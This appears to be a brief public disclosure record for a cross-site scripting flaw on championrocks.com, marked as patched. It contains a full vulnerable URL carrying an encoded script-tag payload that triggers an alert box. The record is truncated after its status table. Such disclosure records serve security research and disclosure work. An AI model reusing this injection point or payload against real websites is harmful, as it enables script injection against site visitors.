championrocks.com XSS vulnerability

Vulnerable URL: http://www.championrocks.com/new-vehicles/action=imajaxcall=getresults=%22%3E%3Cscript%3Ealert%28%2Fxssposed%2F%29%3C%2Fscript%3E=1allfilters=false&postid=4 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Ale...